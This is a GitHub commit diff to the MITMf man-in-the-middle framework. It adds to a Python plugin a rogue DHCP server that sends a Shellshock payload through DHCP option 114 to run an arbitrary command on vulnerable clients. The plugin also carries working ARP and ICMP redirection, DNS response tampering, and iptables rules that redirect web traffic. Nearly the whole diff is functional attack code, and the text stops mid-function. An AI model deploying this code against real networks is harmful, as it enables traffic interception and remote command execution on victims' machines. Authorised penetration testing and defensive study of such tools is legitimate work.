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https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
added DHCP spoofing with shellshock options
This commit is contained in:
byt3bl33d3r
parent
ff235e3e90
commit
43c7974d4c
7 changed files with 155 additions and 69 deletions
167
plugins/Spoof.py
167
plugins/Spoof.py
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@ -13,6 +13,8 @@ from scapy.all import *
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import os
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import sys
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import threading
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import binascii
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import random
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try:
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from configobj import ConfigObj
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@ -23,7 +25,7 @@ except:
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class Spoof(Plugin):
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name = "Spoof"
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optname = "spoof"
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desc = 'Redirect traffic using ICMP, ARP or DNS'
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desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
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has_opts = True
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def initialize(self, options):
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@ -33,15 +35,16 @@ class Spoof(Plugin):
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self.arp = options.arp
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self.icmp = options.icmp
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self.dns = options.dns
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#self.dhcp = options.dhcp
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self.domain = options.domain
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self.dnsip = options.dnsip
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self.dnscfg = options.dnscfg
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self.dnscfg = "./config_files/dns.cfg" or options.dnscfg
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self.dhcp = options.dhcp
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self.dhcpcfg = "./config_files/dhcp.cfg" or options.dhcpcfg
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self.shellshock = options.shellshock
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self.cmd = "echo 'pwned'" or options.cmd
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self.gateway = options.gateway
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self.summary = options.summary
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#self.summary = options.summary
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self.target = options.target
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self.arpmode = options.arpmode
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self.port = self.options.listen
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self.port = options.listen
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self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
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self.debug = False
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self.send = True
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@ -49,6 +52,9 @@ class Spoof(Plugin):
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if os.geteuid() != 0:
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sys.exit("[-] Spoof plugin requires root privileges")
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if not self.interface:
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sys.exit('[-] Spoof plugin requires --iface argument')
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if self.options.log_level == 'debug':
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self.debug = True
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@ -57,12 +63,6 @@ class Spoof(Plugin):
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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if self.arp:
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if self.icmp:
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sys.exit("[-] --arp and --icmp are mutually exclusive")
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if (not self.interface or not self.gateway):
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sys.exit("[-] ARP Spoofing requires --gateway and --iface")
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self.mac = get_if_hwaddr(self.interface)
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self.routermac = getmacbyip(self.gateway)
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print "[*] ARP Spoofing enabled"
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@ -70,50 +70,125 @@ class Spoof(Plugin):
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pkt = self.build_arp_req()
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elif self.arpmode == 'rep':
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pkt = self.build_arp_rep()
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thread_target = self.send
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thread_args = (pkt, self.interface, self.debug,)
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elif self.icmp:
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if self.arp:
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sys.exit("[-] --icmp and --arp are mutually exclusive")
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if (not self.interface or not self.gateway or not self.target):
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sys.exit("[-] ICMP Redirection requires --gateway, --iface and --target")
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self.mac = get_if_hwaddr(self.interface)
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self.routermac = getmacbyip(self.gateway)
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print "[*] ICMP Redirection enabled"
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pkt = self.build_icmp()
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thread_target = self.send
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thread_args = (pkt, self.interface, self.debug,)
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if self.summary:
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pkt.show()
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ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
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if ans == 'y' or len(ans) == 0:
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pass
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else:
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sys.exit(0)
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elif self.dhcp:
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print "[*] DHCP Spoofing enabled"
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self.rand_number = []
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self.dhcp_dic = {}
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self.dhcpcfg = ConfigObj(self.dhcpcfg)
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thread_target = self.dhcp_sniff
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thread_args = ()
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if self.dns:
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if not self.dnscfg:
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if (not self.dnsip or not self.domain):
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sys.exit("[-] DNS Spoofing requires --domain, --dnsip")
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elif self.dnscfg:
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self.dnscfg = ConfigObj(self.dnscfg)
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print "[*] DNS Tampering enabled"
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self.dnscfg = ConfigObj(self.dnscfg)
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if not self.manualiptables:
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
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print "[*] DNS Spoofing enabled"
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self.start_dns_queue()
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file = open('/proc/sys/net/ipv4/ip_forward', 'w')
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file.write('1')
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file.close()
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if not self.manualiptables:
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print '[*] Setting up iptables rules'
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print '[*] Setting up iptables'
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os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
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t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt, self.interface, self.debug,))
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t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
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t.setDaemon(True)
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t.start()
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def dhcp_rand_ip(self):
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pool = self.dhcpcfg['ip_pool'].split('-')
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trunc_ip = pool[0].split('.'); del(trunc_ip[3])
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max_range = int(pool[1])
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min_range = int(pool[0].split('.')[3])
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number_range = range(min_range, max_range)
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for n in number_range:
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if n in self.rand_number:
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number_range.remove(n)
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rand_number = random.choice(number_range)
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self.rand_number.append(rand_number)
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rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
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return rand_ip
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def dhcp_callback(self, resp):
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if resp.haslayer(DHCP):
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xid = resp[BOOTP].xid
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mac_addr = resp[Ether].src
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raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
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if xid in self.dhcp_dic.keys():
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client_ip = self.dhcp_dic[xid]
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else:
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client_ip = self.dhcp_rand_ip()
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self.dhcp_dic[xid] = client_ip
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if resp[DHCP].options[0][1] == 1:
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logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
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logging.info("Sending DHCP OFFER")
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packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
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IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
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DHCP(options=[("message-type", "offer"),
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('server_id', get_if_addr(self.interface)),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', get_if_addr(self.interface)),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240),
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"end"]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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sendp(packet, iface=self.interface, verbose=self.debug)
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if resp[DHCP].options[0][1] == 3:
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logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
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packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
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IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
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DHCP(options=[("message-type", "ack"),
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('server_id', get_if_addr(self.interface)),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', get_if_addr(self.interface)),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240)]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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if self.shellshock:
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logging.info("Sending DHCP ACK with shellshock payload")
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packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.cmd)))
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packet[DHCP].options.append("end")
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else:
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logging.info("Sending DHCP ACK")
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packet[DHCP].options.append("end")
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sendp(packet, iface=self.interface, verbose=self.debug)
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def dhcp_sniff(self):
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sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
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def send_packets(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=2, iface=interface, verbose=debug)
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@ -168,7 +243,7 @@ class Spoof(Plugin):
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DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ip))
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payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
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logging.info("%s Spoofed DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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def start_dns_queue(self):
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self.q = nfqueue.queue()
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@ -191,19 +266,21 @@ class Spoof(Plugin):
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return 'queue'
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def add_options(self,options):
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options.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP Spoofing')
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options.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP Redirects')
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options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Redirect DNS requests')
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# options.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using fake DHCP offers')
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group = options.add_mutually_exclusive_group(required=False)
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group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
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group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
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group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
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options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
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options.add_argument('--shellshock', dest='shellshock', action='store_true', default=False, help='Trigger the Shellshock vuln when spoofing DHCP')
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options.add_argument('--cmd', type=str, dest='cmd', help='Command to run on vulnerable clients [default: echo pwned]')
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options.add_argument("--dnscfg", type=file, help="DNS tampering config file [default: dns.cfg]")
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options.add_argument("--dhcpcfg", type=file, help="DHCP spoofing config file [default: dhcp.cfg]")
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options.add_argument('--iface', dest='interface', help='Specify the interface to use')
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options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
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options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
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options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
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options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
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options.add_argument('--domain', type=str, dest='domain', help='Domain to spoof [e.g google.com]')
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options.add_argument('--dnsip', type=str, dest='dnsip', help='IP address to resolve dns queries to')
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options.add_argument("--dnscfg", type=file, help="Specify a config file")
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options.add_argument('--manualiptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables of flush iptables rules automatically')
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#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
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options.add_argument('--manualiptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
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def finish(self):
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self.send = False
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@ -212,7 +289,7 @@ class Spoof(Plugin):
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file.write('0')
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file.close()
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if not self.manualiptables:
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print '\n[*] Flushing iptables rules'
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print '\n[*] Flushing iptables'
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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if self.dns:
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